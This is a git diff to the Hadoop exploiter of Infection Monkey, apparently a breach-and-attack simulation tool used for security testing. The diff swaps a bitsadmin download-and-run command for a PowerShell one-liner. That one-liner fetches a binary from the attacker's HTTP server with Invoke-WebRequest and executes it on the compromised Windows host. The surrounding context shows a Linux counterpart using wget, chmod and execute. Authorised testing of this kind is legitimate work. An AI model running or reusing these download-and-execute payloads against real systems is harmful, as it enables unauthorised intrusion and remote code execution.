diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 0605614ee..6c0180fb0 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -29,9 +29,18 @@ class HadoopExploiter(WebRCE):
                     "&& wget -O %(monkey_path)s %(http_path)s " \
                     "; chmod +x %(monkey_path)s " \
                     "&&  %(monkey_path)s %(monkey_type)s %(parameters)s"
+
+    """ Command was observed to be unreliable, we use powershell instead
     WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
                       " Update /download /priority high %(http_path)s %(monkey_path)s " \
                       "& %(monkey_path)s %(monkey_type)s %(parameters)s"
+    """
+
+    WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
+                      "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
+                      " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
+                      "{& %(monkey_path)s %(monkey_type)s %(parameters)s }  \""
+
     # How long we have our http server open for downloads in seconds
     DOWNLOAD_TIMEOUT = 60
     # Random string's length that's used for creating unique app name
@@ -46,6 +55,9 @@ class HadoopExploiter(WebRCE):
         self.add_vulnerable_urls(urls, True)
         if not self.vulnerable_urls:
             return False
+        # We can only upload 64bit version to windows for various reasons
+        if self.host.os['type'] == 'windows':
+            self.host.os['machine'] = '64'
         paths = self.get_monkey_paths()
         if not paths:
             return False